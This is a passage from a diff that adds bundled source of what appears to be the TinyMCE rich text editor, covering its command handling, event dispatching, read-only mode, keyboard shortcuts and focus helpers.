+    getRng: getRng,
+    getBookmark: getBookmark$2,
+    validate: validate
+  };
+
+  var indentElement = function (dom, command, useMargin, value, unit, element) {
+    if (dom.getContentEditable(element) === 'false') {
+      return;
+    }
+    if (element.nodeName !== 'LI') {
+      var indentStyleName = useMargin ? 'margin' : 'padding';
+      indentStyleName = element.nodeName === 'TABLE' ? 'margin' : indentStyleName;
+      indentStyleName += dom.getStyle(element, 'direction', true) === 'rtl' ? 'Right' : 'Left';
+      if (command === 'outdent') {
+        var styleValue = Math.max(0, parseInt(element.style[indentStyleName] || 0, 10) - value);
+        dom.setStyle(element, indentStyleName, styleValue ? styleValue + unit : '');
+      } else {
+        var styleValue = parseInt(element.style[indentStyleName] || 0, 10) + value + unit;
+        dom.setStyle(element, indentStyleName, styleValue);
+      }
+    }
+  };
+  var handle = function (editor, command) {
+    var settings = editor.settings, dom = editor.dom, selection = editor.selection, formatter = editor.formatter;
+    var indentUnit = /[a-z%]+$/i.exec(settings.indentation)[0];
+    var indentValue = parseInt(settings.indentation, 10);
+    var useMargin = editor.getParam('indent_use_margin', false);
+    if (!editor.queryCommandState('InsertUnorderedList') && !editor.queryCommandState('InsertOrderedList')) {
+      if (!settings.forced_root_block && !dom.getParent(selection.getNode(), dom.isBlock)) {
+        formatter.apply('div');
+      }
+      each(selection.getSelectedBlocks(), function (element) {
+        return indentElement(dom, command, useMargin, indentValue, indentUnit, element);
+      });
+    }
+  };
+
+  var each$10 = $_6cwiepljjgwe7j4.each;
+  var extend$2 = $_6cwiepljjgwe7j4.extend;
+  var map$3 = $_6cwiepljjgwe7j4.map;
+  var inArray$2 = $_6cwiepljjgwe7j4.inArray;
+  function EditorCommands (editor) {
+    var dom, selection, formatter;
+    var commands = {
+      state: {},
+      exec: {},
+      value: {}
+    };
+    var settings = editor.settings, bookmark;
+    editor.on('PreInit', function () {
+      dom = editor.dom;
+      selection = editor.selection;
+      settings = editor.settings;
+      formatter = editor.formatter;
+    });
+    var execCommand = function (command, ui, value, args) {
+      var func, customCommand, state = false;
+      if (editor.removed) {
+        return;
+      }
+      if (!/^(mceAddUndoLevel|mceEndUndoLevel|mceBeginUndoLevel|mceRepaint)$/.test(command) && (!args || !args.skip_focus)) {
+        editor.focus();
+      } else {
+        $_4wtqbt4ljjgwe8gy.restore(editor);
+      }
+      args = editor.fire('BeforeExecCommand', {
+        command: command,
+        ui: ui,
+        value: value
+      });
+      if (args.isDefaultPrevented()) {
+        return false;
+      }
+      customCommand = command.toLowerCase();
+      if (func = commands.exec[customCommand]) {
+        func(customCommand, ui, value);
+        editor.fire('ExecCommand', {
+          command: command,
+          ui: ui,
+          value: value
+        });
+        return true;
+      }
+      each$10(editor.plugins, function (p) {
+        if (p.execCommand && p.execCommand(command, ui, value)) {
+          editor.fire('ExecCommand', {
+            command: command,
+            ui: ui,
+            value: value
+          });
+          state = true;
+          return false;
+        }
+      });
+      if (state) {
+        return state;
+      }
+      if (editor.theme && editor.theme.execCommand && editor.theme.execCommand(command, ui, value)) {
+        editor.fire('ExecCommand', {
+          command: command,
+          ui: ui,
+          value: value
+        });
+        return true;
+      }
+      try {
+        state = editor.getDoc().execCommand(command, ui, value);
+      } catch (ex) {
+      }
+      if (state) {
+        editor.fire('ExecCommand', {
+          command: command,
+          ui: ui,
+          value: value
+        });
+        return true;
+      }
+      return false;
+    };
+    var queryCommandState = function (command) {
+      var func;
+      if (editor.quirks.isHidden() || editor.removed) {
+        return;
+      }
+      command = command.toLowerCase();
+      if (func = commands.state[command]) {
+        return func(command);
+      }
+      try {
+        return editor.getDoc().queryCommandState(command);
+      } catch (ex) {
+      }
+      return false;
+    };
+    var queryCommandValue = function (command) {
+      var func;
+      if (editor.quirks.isHidden() || editor.removed) {
+        return;
+      }
+      command = command.toLowerCase();
+      if (func = commands.value[command]) {
+        return func(command);
+      }
+      try {
+        return editor.getDoc().queryCommandValue(command);
+      } catch (ex) {
+      }
+    };
+    var addCommands = function (commandList, type) {
+      type = type || 'exec';
+      each$10(commandList, function (callback, command) {
+        each$10(command.toLowerCase().split(','), function (command) {
+          commands[type][command] = callback;
+        });
+      });
+    };
+    var addCommand = function (command, callback, scope) {
+      command = command.toLowerCase();
+      commands.exec[command] = function (command, ui, value, args) {
+        return callback.call(scope || editor, ui, value, args);
+      };
+    };
+    var queryCommandSupported = function (command) {
+      command = command.toLowerCase();
+      if (commands.exec[command]) {
+        return true;
+      }
+      try {
+        return editor.getDoc().queryCommandSupported(command);
+      } catch (ex) {
+      }
+      return false;
+    };
+    var addQueryStateHandler = function (command, callback, scope) {
+      command = command.toLowerCase();
+      commands.state[command] = function () {
+        return callback.call(scope || editor);
+      };
+    };
+    var addQueryValueHandler = function (command, callback, scope) {
+      command = command.toLowerCase();
+      commands.value[command] = function () {
+        return callback.call(scope || editor);
+      };
+    };
+    var hasCustomCommand = function (command) {
+      command = command.toLowerCase();
+      return !!commands.exec[command];
+    };
+    extend$2(this, {
+      execCommand: execCommand,
+      queryCommandState: queryCommandState,
+      queryCommandValue: queryCommandValue,
+      queryCommandSupported: queryCommandSupported,
+      addCommands: addCommands,
+      addCommand: addCommand,
+      addQueryStateHandler: addQueryStateHandler,
+      addQueryValueHandler: addQueryValueHandler,
+      hasCustomCommand: hasCustomCommand
+    });
+    var execNativeCommand = function (command, ui, value) {
+      if (ui === undefined) {
+        ui = false;
+      }
+      if (value === undefined) {
+        value = null;
+      }
+      return editor.getDoc().execCommand(command, ui, value);
+    };
+    var isFormatMatch = function (name) {
+      return formatter.match(name);
+    };
+    var toggleFormat = function (name, value) {
+      formatter.toggle(name, value ? { value: value } : undefined);
+      editor.nodeChanged();
+    };
+    var storeSelection = function (type) {
+      bookmark = selection.getBookmark(type);
+    };
+    var restoreSelection = function () {
+      selection.moveToBookmark(bookmark);
+    };
+    addCommands({
+      'mceResetDesignMode,mceBeginUndoLevel': function () {
+      },
+      'mceEndUndoLevel,mceAddUndoLevel': function () {
+        editor.undoManager.add();
+      },
+      'Cut,Copy,Paste': function (command) {
+        var doc = editor.getDoc();
+        var failed;
+        try {
+          execNativeCommand(command);
+        } catch (ex) {
+          failed = true;
+        }
+        if (command === 'paste' && !doc.queryCommandEnabled(command)) {
+          failed = true;
+        }
+        if (failed || !doc.queryCommandSupported(command)) {
+          var msg = editor.translate('Your browser doesn\'t support direct access to the clipboard. ' + 'Please use the Ctrl+X/C/V keyboard shortcuts instead.');
+          if ($_bcvfv9ajjgwe79v.mac) {
+            msg = msg.replace(/Ctrl\+/g, '\u2318+');
+          }
+          editor.notificationManager.open({
+            text: msg,
+            type: 'error'
+          });
+        }
+      },
+      'unlink': function () {
+        if (selection.isCollapsed()) {
+          var elm = editor.dom.getParent(editor.selection.getStart(), 'a');
+          if (elm) {
+            editor.dom.remove(elm, true);
+          }
+          return;
+        }
+        formatter.remove('link');
+      },
+      'JustifyLeft,JustifyCenter,JustifyRight,JustifyFull,JustifyNone': function (command) {
+        var align = command.substring(7);
+        if (align === 'full') {
+          align = 'justify';
+        }
+        each$10('left,center,right,justify'.split(','), function (name) {
+          if (align !== name) {
+            formatter.remove('align' + name);
+          }
+        });
+        if (align !== 'none') {
+          toggleFormat('align' + align);
+        }
+      },
+      'InsertUnorderedList,InsertOrderedList': function (command) {
+        var listElm, listParent;
+        execNativeCommand(command);
+        listElm = dom.getParent(selection.getNode(), 'ol,ul');
+        if (listElm) {
+          listParent = listElm.parentNode;
+          if (/^(H[1-6]|P|ADDRESS|PRE)$/.test(listParent.nodeName)) {
+            storeSelection();
+            dom.split(listParent, listElm);
+            restoreSelection();
+          }
+        }
+      },
+      'Bold,Italic,Underline,Strikethrough,Superscript,Subscript': function (command) {
+        toggleFormat(command);
+      },
+      'ForeColor,HiliteColor': function (command, ui, value) {
+        toggleFormat(command, value);
+      },
+      'FontName': function (command, ui, value) {
+        fontNameAction(editor, value);
+      },
+      'FontSize': function (command, ui, value) {
+        fontSizeAction(editor, value);
+      },
+      'RemoveFormat': function (command) {
+        formatter.remove(command);
+      },
+      'mceBlockQuote': function () {
+        toggleFormat('blockquote');
+      },
+      'FormatBlock': function (command, ui, value) {
+        return toggleFormat(value || 'p');
+      },
+      'mceCleanup': function () {
+        var bookmark = selection.getBookmark();
+        editor.setContent(editor.getContent());
+        selection.moveToBookmark(bookmark);
+      },
+      'mceRemoveNode': function (command, ui, value) {
+        var node = value || selection.getNode();
+        if (node !== editor.getBody()) {
+          storeSelection();
+          editor.dom.remove(node, true);
+          restoreSelection();
+        }
+      },
+      'mceSelectNodeDepth': function (command, ui, value) {
+        var counter = 0;
+        dom.getParent(selection.getNode(), function (node) {
+          if (node.nodeType === 1 && counter++ === value) {
+            selection.select(node);
+            return false;
+          }
+        }, editor.getBody());
+      },
+      'mceSelectNode': function (command, ui, value) {
+        selection.select(value);
+      },
+      'mceInsertContent': function (command, ui, value) {
+        $_7w0ed33ijjgwe841.insertAtCaret(editor, value);
+      },
+      'mceInsertRawHTML': function (command, ui, value) {
+        var content = editor.getContent();
+        selection.setContent('tiny_mce_marker');
+        editor.setContent(content.replace(/tiny_mce_marker/g, function () {
+          return value;
+        }));
+      },
+      'mceToggleFormat': function (command, ui, value) {
+        toggleFormat(value);
+      },
+      'mceSetContent': function (command, ui, value) {
+        editor.setContent(value);
+      },
+      'Indent,Outdent': function (command) {
+        handle(editor, command);
+      },
+      'mceRepaint': function () {
+      },
+      'InsertHorizontalRule': function () {
+        editor.execCommand('mceInsertContent', false, '<hr />');
+      },
+      'mceToggleVisualAid': function () {
+        editor.hasVisual = !editor.hasVisual;
+        editor.addVisual();
+      },
+      'mceReplaceContent': function (command, ui, value) {
+        editor.execCommand('mceInsertContent', false, value.replace(/\{\$selection\}/g, selection.getContent({ format: 'text' })));
+      },
+      'mceInsertLink': function (command, ui, value) {
+        var anchor;
+        if (typeof value === 'string') {
+          value = { href: value };
+        }
+        anchor = dom.getParent(selection.getNode(), 'a');
+        value.href = value.href.replace(' ', '%20');
+        if (!anchor || !value.href) {
+          formatter.remove('link');
+        }
+        if (value.href) {
+          formatter.apply('link', value, anchor);
+        }
+      },
+      'selectAll': function () {
+        var editingHost = dom.getParent(selection.getStart(), $_3b9u2y1rjjgwe7qe.isContentEditableTrue);
+        if (editingHost) {
+          var rng = dom.createRng();
+          rng.selectNodeContents(editingHost);
+          selection.setRng(rng);
+        }
+      },
+      'delete': function () {
+        $_36hh3g3pjjgwe85i.deleteCommand(editor);
+      },
+      'forwardDelete': function () {
+        $_36hh3g3pjjgwe85i.forwardDeleteCommand(editor);
+      },
+      'mceNewDocument': function () {
+        editor.setContent('');
+      },
+      'InsertLineBreak': function (command, ui, value) {
+        $_4o98q44ijjgwe8g6.insert(editor, value);
+        return true;
+      }
+    });
+    var alignStates = function (name) {
+      return function () {
+        var nodes = selection.isCollapsed() ? [dom.getParent(selection.getNode(), dom.isBlock)] : selection.getSelectedBlocks();
+        var matches = map$3(nodes, function (node) {
+          return !!formatter.matchNode(node, name);
+        });
+        return inArray$2(matches, true) !== -1;
+      };
+    };
+    addCommands({
+      'JustifyLeft': alignStates('alignleft'),
+      'JustifyCenter': alignStates('aligncenter'),
+      'JustifyRight': alignStates('alignright'),
+      'JustifyFull': alignStates('alignjustify'),
+      'Bold,Italic,Underline,Strikethrough,Superscript,Subscript': function (command) {
+        return isFormatMatch(command);
+      },
+      'mceBlockQuote': function () {
+        return isFormatMatch('blockquote');
+      },
+      'Outdent': function () {
+        var node;
+        if (settings.inline_styles) {
+          if ((node = dom.getParent(selection.getStart(), dom.isBlock)) && parseInt(node.style.paddingLeft, 10) > 0) {
+            return true;
+          }
+          if ((node = dom.getParent(selection.getEnd(), dom.isBlock)) && parseInt(node.style.paddingLeft, 10) > 0) {
+            return true;
+          }
+        }
+        return queryCommandState('InsertUnorderedList') || queryCommandState('InsertOrderedList') || !settings.inline_styles && !!dom.getParent(selection.getNode(), 'BLOCKQUOTE');
+      },
+      'InsertUnorderedList,InsertOrderedList': function (command) {
+        var list = dom.getParent(selection.getNode(), 'ul,ol');
+        return list && (command === 'insertunorderedlist' && list.tagName === 'UL' || command === 'insertorderedlist' && list.tagName === 'OL');
+      }
+    }, 'state');
+    addCommands({
+      Undo: function () {
+        editor.undoManager.undo();
+      },
+      Redo: function () {
+        editor.undoManager.redo();
+      }
+    });
+    addQueryValueHandler('FontName', function () {
+      return fontNameQuery(editor);
+    }, this);
+    addQueryValueHandler('FontSize', function () {
+      return fontSizeQuery(editor);
+    }, this);
+  }
+
+  var nativeEvents = $_6cwiepljjgwe7j4.makeMap('focus blur focusin focusout click dblclick mousedown mouseup mousemove mouseover beforepaste paste cut copy selectionchange ' + 'mouseout mouseenter mouseleave wheel keydown keypress keyup input contextmenu dragstart dragend dragover ' + 'draggesture dragdrop drop drag submit ' + 'compositionstart compositionend compositionupdate touchstart touchmove touchend', ' ');
+  var Dispatcher = function (settings) {
+    var self = this;
+    var scope, bindings = {}, toggleEvent;
+    var returnFalse = function () {
+      return false;
+    };
+    var returnTrue = function () {
+      return true;
+    };
+    settings = settings || {};
+    scope = settings.scope || self;
+    toggleEvent = settings.toggleEvent || returnFalse;
+    var fire = function (name, args) {
+      var handlers, i, l, callback;
+      name = name.toLowerCase();
+      args = args || {};
+      args.type = name;
+      if (!args.target) {
+        args.target = scope;
+      }
+      if (!args.preventDefault) {
+        args.preventDefault = function () {
+          args.isDefaultPrevented = returnTrue;
+        };
+        args.stopPropagation = function () {
+          args.isPropagationStopped = returnTrue;
+        };
+        args.stopImmediatePropagation = function () {
+          args.isImmediatePropagationStopped = returnTrue;
+        };
+        args.isDefaultPrevented = returnFalse;
+        args.isPropagationStopped = returnFalse;
+        args.isImmediatePropagationStopped = returnFalse;
+      }
+      if (settings.beforeFire) {
+        settings.beforeFire(args);
+      }
+      handlers = bindings[name];
+      if (handlers) {
+        for (i = 0, l = handlers.length; i < l; i++) {
+          callback = handlers[i];
+          if (callback.once) {
+            off(name, callback.func);
+          }
+          if (args.isImmediatePropagationStopped()) {
+            args.stopPropagation();
+            return args;
+          }
+          if (callback.func.call(scope, args) === false) {
+            args.preventDefault();
+            return args;
+          }
+        }
+      }
+      return args;
+    };
+    var on = function (name, callback, prepend, extra) {
+      var handlers, names, i;
+      if (callback === false) {
+        callback = returnFalse;
+      }
+      if (callback) {
+        callback = { func: callback };
+        if (extra) {
+          $_6cwiepljjgwe7j4.extend(callback, extra);
+        }
+        names = name.toLowerCase().split(' ');
+        i = names.length;
+        while (i--) {
+          name = names[i];
+          handlers = bindings[name];
+          if (!handlers) {
+            handlers = bindings[name] = [];
+            toggleEvent(name, true);
+          }
+          if (prepend) {
+            handlers.unshift(callback);
+          } else {
+            handlers.push(callback);
+          }
+        }
+      }
+      return self;
+    };
+    var off = function (name, callback) {
+      var i, handlers, bindingName, names, hi;
+      if (name) {
+        names = name.toLowerCase().split(' ');
+        i = names.length;
+        while (i--) {
+          name = names[i];
+          handlers = bindings[name];
+          if (!name) {
+            for (bindingName in bindings) {
+              toggleEvent(bindingName, false);
+              delete bindings[bindingName];
+            }
+            return self;
+          }
+          if (handlers) {
+            if (!callback) {
+              handlers.length = 0;
+            } else {
+              hi = handlers.length;
+              while (hi--) {
+                if (handlers[hi].func === callback) {
+                  handlers = handlers.slice(0, hi).concat(handlers.slice(hi + 1));
+                  bindings[name] = handlers;
+                }
+              }
+            }
+            if (!handlers.length) {
+              toggleEvent(name, false);
+              delete bindings[name];
+            }
+          }
+        }
+      } else {
+        for (name in bindings) {
+          toggleEvent(name, false);
+        }
+        bindings = {};
+      }
+      return self;
+    };
+    var once = function (name, callback, prepend) {
+      return on(name, callback, prepend, { once: true });
+    };
+    var has = function (name) {
+      name = name.toLowerCase();
+      return !(!bindings[name] || bindings[name].length === 0);
+    };
+    self.fire = fire;
+    self.on = on;
+    self.off = off;
+    self.once = once;
+    self.has = has;
+  };
+  Dispatcher.isNative = function (name) {
+    return !!nativeEvents[name.toLowerCase()];
+  };
+
+  var getEventDispatcher = function (obj) {
+    if (!obj._eventDispatcher) {
+      obj._eventDispatcher = new Dispatcher({
+        scope: obj,
+        toggleEvent: function (name, state) {
+          if (Dispatcher.isNative(name) && obj.toggleNativeEvent) {
+            obj.toggleNativeEvent(name, state);
+          }
+        }
+      });
+    }
+    return obj._eventDispatcher;
+  };
+  var $_5fwo104qjjgwe8hz = {
+    fire: function (name, args, bubble) {
+      var self = this;
+      if (self.removed && name !== 'remove') {
+        return args;
+      }
+      args = getEventDispatcher(self).fire(name, args, bubble);
+      if (bubble !== false && self.parent) {
+        var parent = self.parent();
+        while (parent && !args.isPropagationStopped()) {
+          parent.fire(name, args, false);
+          parent = parent.parent();
+        }
+      }
+      return args;
+    },
+    on: function (name, callback, prepend) {
+      return getEventDispatcher(this).on(name, callback, prepend);
+    },
+    off: function (name, callback) {
+      return getEventDispatcher(this).off(name, callback);
+    },
+    once: function (name, callback) {
+      return getEventDispatcher(this).once(name, callback);
+    },
+    hasEventListeners: function (name) {
+      return getEventDispatcher(this).has(name);
+    }
+  };
+
+  var firePreProcess = function (editor, args) {
+    return editor.fire('PreProcess', args);
+  };
+  var firePostProcess = function (editor, args) {
+    return editor.fire('PostProcess', args);
+  };
+  var fireRemove = function (editor) {
+    return editor.fire('remove');
+  };
+  var fireSwitchMode = function (editor, mode) {
+    return editor.fire('SwitchMode', { mode: mode });
+  };
+  var fireObjectResizeStart = function (editor, target, width, height) {
+    editor.fire('ObjectResizeStart', {
+      target: target,
+      width: width,
+      height: height
+    });
+  };
+  var fireObjectResized = function (editor, target, width, height) {
+    editor.fire('ObjectResized', {
+      target: target,
+      width: width,
+      height: height
+    });
+  };
+  var $_b2ca654tjjgwe8ic = {
+    firePreProcess: firePreProcess,
+    firePostProcess: firePostProcess,
+    fireRemove: fireRemove,
+    fireSwitchMode: fireSwitchMode,
+    fireObjectResizeStart: fireObjectResizeStart,
+    fireObjectResized: fireObjectResized
+  };
+
+  var setEditorCommandState = function (editor, cmd, state) {
+    try {
+      editor.getDoc().execCommand(cmd, false, state);
+    } catch (ex) {
+    }
+  };
+  var toggleClass = function (elm, cls, state) {
+    if ($_9lrjdk23jjgwe7u2.has(elm, cls) && state === false) {
+      $_9lrjdk23jjgwe7u2.remove(elm, cls);
+    } else if (state) {
+      $_9lrjdk23jjgwe7u2.add(elm, cls);
+    }
+  };
+  var toggleReadOnly = function (editor, state) {
+    toggleClass(Element$$1.fromDom(editor.getBody()), 'mce-content-readonly', state);
+    if (state) {
+      editor.selection.controlSelection.hideResizeRect();
+      editor.readonly = true;
+      editor.getBody().contentEditable = 'false';
+    } else {
+      editor.readonly = false;
+      editor.getBody().contentEditable = 'true';
+      setEditorCommandState(editor, 'StyleWithCSS', false);
+      setEditorCommandState(editor, 'enableInlineTableEditing', false);
+      setEditorCommandState(editor, 'enableObjectResizing', false);
+      editor.focus();
+      editor.nodeChanged();
+    }
+  };
+  var setMode = function (editor, mode) {
+    if (mode === getMode(editor)) {
+      return;
+    }
+    if (editor.initialized) {
+      toggleReadOnly(editor, mode === 'readonly');
+    } else {
+      editor.on('init', function () {
+        toggleReadOnly(editor, mode === 'readonly');
+      });
+    }
+    $_b2ca654tjjgwe8ic.fireSwitchMode(editor, mode);
+  };
+  var getMode = function (editor) {
+    return editor.readonly ? 'readonly' : 'design';
+  };
+  var isReadOnly = function (editor) {
+    return editor.readonly === true;
+  };
+
+  var DOM$1 = DOMUtils$1.DOM;
+  var customEventRootDelegates;
+  var getEventTarget = function (editor, eventName) {
+    if (eventName === 'selectionchange') {
+      return editor.getDoc();
+    }
+    if (!editor.inline && /^mouse|touch|click|contextmenu|drop|dragover|dragend/.test(eventName)) {
+      return editor.getDoc().documentElement;
+    }
+    if (editor.settings.event_root) {
+      if (!editor.eventRoot) {
+        editor.eventRoot = DOM$1.select(editor.settings.event_root)[0];
+      }
+      return editor.eventRoot;
+    }
+    return editor.getBody();
+  };
+  var isListening = function (editor) {
+    return !editor.hidden && !editor.readonly;
+  };
+  var fireEvent = function (editor, eventName, e) {
+    if (isListening(editor)) {
+      editor.fire(eventName, e);
+    } else if (isReadOnly(editor)) {
+      e.preventDefault();
+    }
+  };
+  var bindEventDelegate = function (editor, eventName) {
+    var eventRootElm, delegate;
+    if (!editor.delegates) {
+      editor.delegates = {};
+    }
+    if (editor.delegates[eventName] || editor.removed) {
+      return;
+    }
+    eventRootElm = getEventTarget(editor, eventName);
+    if (editor.settings.event_root) {
+      if (!customEventRootDelegates) {
+        customEventRootDelegates = {};
+        editor.editorManager.on('removeEditor', function () {
+          var name;
+          if (!editor.editorManager.activeEditor) {
+            if (customEventRootDelegates) {
+              for (name in customEventRootDelegates) {
+                editor.dom.unbind(getEventTarget(editor, name));
+              }
+              customEventRootDelegates = null;
+            }
+          }
+        });
+      }
+      if (customEventRootDelegates[eventName]) {
+        return;
+      }
+      delegate = function (e) {
+        var target = e.target;
+        var editors = editor.editorManager.get();
+        var i = editors.length;
+        while (i--) {
+          var body = editors[i].getBody();
+          if (body === target || DOM$1.isChildOf(target, body)) {
+            fireEvent(editors[i], eventName, e);
+          }
+        }
+      };
+      customEventRootDelegates[eventName] = delegate;
+      DOM$1.bind(eventRootElm, eventName, delegate);
+    } else {
+      delegate = function (e) {
+        fireEvent(editor, eventName, e);
+      };
+      DOM$1.bind(eventRootElm, eventName, delegate);
+      editor.delegates[eventName] = delegate;
+    }
+  };
+  var EditorObservable = {
+    bindPendingEventDelegates: function () {
+      var self = this;
+      $_6cwiepljjgwe7j4.each(self._pendingNativeEvents, function (name) {
+        bindEventDelegate(self, name);
+      });
+    },
+    toggleNativeEvent: function (name, state) {
+      var self = this;
+      if (name === 'focus' || name === 'blur') {
+        return;
+      }
+      if (state) {
+        if (self.initialized) {
+          bindEventDelegate(self, name);
+        } else {
+          if (!self._pendingNativeEvents) {
+            self._pendingNativeEvents = [name];
+          } else {
+            self._pendingNativeEvents.push(name);
+          }
+        }
+      } else if (self.initialized) {
+        self.dom.unbind(getEventTarget(self, name), name, self.delegates[name]);
+        delete self.delegates[name];
+      }
+    },
+    unbindAllNativeEvents: function () {
+      var self = this;
+      var body = self.getBody();
+      var dom = self.dom;
+      var name;
+      if (self.delegates) {
+        for (name in self.delegates) {
+          self.dom.unbind(getEventTarget(self, name), name, self.delegates[name]);
+        }
+        delete self.delegates;
+      }
+      if (!self.inline && body && dom) {
+        body.onload = null;
+        dom.unbind(self.getWin());
+        dom.unbind(self.getDoc());
+      }
+      if (dom) {
+        dom.unbind(body);
+        dom.unbind(self.getContainer());
+      }
+    }
+  };
+  EditorObservable = $_6cwiepljjgwe7j4.extend({}, $_5fwo104qjjgwe8hz, EditorObservable);
+  var EditorObservable$1 = EditorObservable;
+
+  var each$11 = $_6cwiepljjgwe7j4.each;
+  var explode$2 = $_6cwiepljjgwe7j4.explode;
+  var keyCodeLookup = {
+    f9: 120,
+    f10: 121,
+    f11: 122
+  };
+  var modifierNames = $_6cwiepljjgwe7j4.makeMap('alt,ctrl,shift,meta,access');
+  function Shortcuts (editor) {
+    var self = this;
+    var shortcuts = {};
+    var pendingPatterns = [];
+    var parseShortcut = function (pattern) {
+      var id, key;
+      var shortcut = {};
+      each$11(explode$2(pattern, '+'), function (value) {
+        if (value in modifierNames) {
+          shortcut[value] = true;
+        } else {
+          if (/^[0-9]{2,}$/.test(value)) {
+            shortcut.keyCode = parseInt(value, 10);
+          } else {
+            shortcut.charCode = value.charCodeAt(0);
+            shortcut.keyCode = keyCodeLookup[value] || value.toUpperCase().charCodeAt(0);
+          }
+        }
+      });
+      id = [shortcut.keyCode];
+      for (key in modifierNames) {
+        if (shortcut[key]) {
+          id.push(key);
+        } else {
+          shortcut[key] = false;
+        }
+      }
+      shortcut.id = id.join(',');
+      if (shortcut.access) {
+        shortcut.alt = true;
+        if ($_bcvfv9ajjgwe79v.mac) {
+          shortcut.ctrl = true;
+        } else {
+          shortcut.shift = true;
+        }
+      }
+      if (shortcut.meta) {
+        if ($_bcvfv9ajjgwe79v.mac) {
+          shortcut.meta = true;
+        } else {
+          shortcut.ctrl = true;
+          shortcut.meta = false;
+        }
+      }
+      return shortcut;
+    };
+    var createShortcut = function (pattern, desc, cmdFunc, scope) {
+      var shortcuts;
+      shortcuts = $_6cwiepljjgwe7j4.map(explode$2(pattern, '>'), parseShortcut);
+      shortcuts[shortcuts.length - 1] = $_6cwiepljjgwe7j4.extend(shortcuts[shortcuts.length - 1], {
+        func: cmdFunc,
+        scope: scope || editor
+      });
+      return $_6cwiepljjgwe7j4.extend(shortcuts[0], {
+        desc: editor.translate(desc),
+        subpatterns: shortcuts.slice(1)
+      });
+    };
+    var hasModifier = function (e) {
+      return e.altKey || e.ctrlKey || e.metaKey;
+    };
+    var isFunctionKey = function (e) {
+      return e.type === 'keydown' && e.keyCode >= 112 && e.keyCode <= 123;
+    };
+    var matchShortcut = function (e, shortcut) {
+      if (!shortcut) {
+        return false;
+      }
+      if (shortcut.ctrl !== e.ctrlKey || shortcut.meta !== e.metaKey) {
+        return false;
+      }
+      if (shortcut.alt !== e.altKey || shortcut.shift !== e.shiftKey) {
+        return false;
+      }
+      if (e.keyCode === shortcut.keyCode || e.charCode && e.charCode === shortcut.charCode) {
+        e.preventDefault();
+        return true;
+      }
+      return false;
+    };
+    var executeShortcutAction = function (shortcut) {
+      return shortcut.func ? shortcut.func.call(shortcut.scope) : null;
+    };
+    editor.on('keyup keypress keydown', function (e) {
+      if ((hasModifier(e) || isFunctionKey(e)) && !e.isDefaultPrevented()) {
+        each$11(shortcuts, function (shortcut) {
+          if (matchShortcut(e, shortcut)) {
+            pendingPatterns = shortcut.subpatterns.slice(0);
+            if (e.type === 'keydown') {
+              executeShortcutAction(shortcut);
+            }
+            return true;
+          }
+        });
+        if (matchShortcut(e, pendingPatterns[0])) {
+          if (pendingPatterns.length === 1) {
+            if (e.type === 'keydown') {
+              executeShortcutAction(pendingPatterns[0]);
+            }
+          }
+          pendingPatterns.shift();
+        }
+      }
+    });
+    self.add = function (pattern, desc, cmdFunc, scope) {
+      var cmd;
+      cmd = cmdFunc;
+      if (typeof cmdFunc === 'string') {
+        cmdFunc = function () {
+          editor.execCommand(cmd, false, null);
+        };
+      } else if ($_6cwiepljjgwe7j4.isArray(cmd)) {
+        cmdFunc = function () {
+          editor.execCommand(cmd[0], cmd[1], cmd[2]);
+        };
+      }
+      each$11(explode$2($_6cwiepljjgwe7j4.trim(pattern.toLowerCase())), function (pattern) {
+        var shortcut = createShortcut(pattern, desc, cmdFunc, scope);
+        shortcuts[shortcut.id] = shortcut;
+      });
+      return true;
+    };
+    self.remove = function (pattern) {
+      var shortcut = createShortcut(pattern);
+      if (shortcuts[shortcut.id]) {
+        delete shortcuts[shortcut.id];
+        return true;
+      }
+      return false;
+    };
+  }
+
+  var any$1 = function (predicate) {
+    return $_7kjxyh2ajjgwe7un.first(predicate).isSome();
+  };
+  var ancestor$3 = function (scope, predicate, isRoot) {
+    return $_7kjxyh2ajjgwe7un.ancestor(scope, predicate, isRoot).isSome();
+  };
+  var closest$3 = function (scope, predicate, isRoot) {
+    return $_7kjxyh2ajjgwe7un.closest(scope, predicate, isRoot).isSome();
+  };
+  var sibling$4 = function (scope, predicate) {
+    return $_7kjxyh2ajjgwe7un.sibling(scope, predicate).isSome();
+  };
+  var child$4 = function (scope, predicate) {
+    return $_7kjxyh2ajjgwe7un.child(scope, predicate).isSome();
+  };
+  var descendant$3 = function (scope, predicate) {
+    return $_7kjxyh2ajjgwe7un.descendant(scope, predicate).isSome();
+  };
+  var $_d5mwxr4xjjgwe8j6 = {
+    any: any$1,
+    ancestor: ancestor$3,
+    closest: closest$3,
+    sibling: sibling$4,
+    child: child$4,
+    descendant: descendant$3
+  };
+
+  var focus$$1 = function (element) {
+    element.dom().focus();
+  };
+  var blur$$1 = function (element) {
+    element.dom().blur();
+  };
+  var hasFocus = function (element) {
+    var doc = $_d3rmjp18jjgwe7nc.owner(element).dom();
+    return element.dom() === doc.activeElement;
+  };
+  var active = function (_doc) {
+    var doc = _doc !== undefined ? _doc.dom() : document;
+    return Option.from(doc.activeElement).map(Element$$1.fromDom);
+  };
+  var focusInside = function (element) {
+    var doc = $_d3rmjp18jjgwe7nc.owner(element);
+    var inside = active(doc).filter(function (a) {
+      return $_d5mwxr4xjjgwe8j6.closest(a, curry($_5raon11ejjgwe7o5.eq, element));
+    });
+    inside.fold(function () {
+      focus$$1(element);
+    }, noop);
+  };
+  var search = function (element) {
+    return active($_d3rmjp18jjgwe7nc.owner(element)).filter(function (e) {
+      return element.dom().contains(e.dom());
+    });
+  };
+  var $_a8y7p34wjjgwe8j0 = {
+    hasFocus: hasFocus,
+    focus: focus$$1,
+    blur: blur$$1,
+    active: active,
+    search: search,
+    focusInside: focusInside
+  };
+
+  var getContentEditableHost = function (editor, node) {
+    return editor.dom.getParent(node, function (node) {
+      return editor.dom.getContentEditable(node) === 'true';
+    });
+  };
+  var getCollapsedNode = function (rng) {
+    return rng.collapsed ? Option.from(getNode(rng.startContainer, rng.startOffset)).map(Element$$1.fromDom) : Option.none();
+  };
+  var getFocusInElement = function (root, rng) {
+    return getCollapsedNode(rng).bind(function (node) {
+      if (isTableSection(node)) {
+        return Option.some(node);
+      } else if ($_5raon11ejjgwe7o5.contains(root, node) === false) {
+        return Option.some(root);
+      } else {
+        return Option.none();
+      }
+    });
+  };
+  var normalizeSelection = function (editor, rng) {
+    getFocusInElement(Element$$1.fromDom(editor.getBody()), rng).bind(function (elm) {
+      return $_8q1ver2yjjgwe7z3.firstPositionIn(elm.dom());
+    }).fold(function () {
+      editor.selection.normalize();
+      return;
+    }, function (caretPos) {
+      return editor.selection.setRng(caretPos.toRange());
+    });
+  };
+  var focusBody = function (body) {
